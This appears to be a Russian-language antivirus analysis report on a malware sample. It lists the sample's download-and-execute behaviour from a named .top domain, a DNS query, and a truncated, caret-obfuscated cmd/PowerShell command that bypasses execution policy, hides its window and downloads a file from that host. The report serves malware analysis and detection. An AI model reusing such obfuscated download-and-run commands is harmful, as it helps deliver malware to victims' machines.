Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://smoeroota.top/read.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "P^Ow^ErS^He^L^l.^exE ^-ExE^cUti^OnP^ol^iCy ^B^Yp^A^S^s ^-^nopr^o^FiLE^ -^WI^nD^owS^t^yLE hiDd^EN (^Ne^w-o^BJE^CT SysTem.nE^T^.wE^b^CL^iE^NT).doW^n^lO^Ad^Fi^lE('http://smoer...
Сетевая активность
UDP
- DNS ASK sm###oota.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "P^Ow^ErS^He^L^l.^exE ^-ExE^cUti^OnP^ol^iCy ^B^Yp^A^S^s ^-^nopr^o^FiLE^ -^WI^nD^owS^t^yLE hiDd^EN (^Ne^w-o^BJE^CT SysTem.nE^T^.wE^b^CL^iE^NT).doW^n^lO^Ad^Fi^lE('http://smoer...' (со скрытым окном)
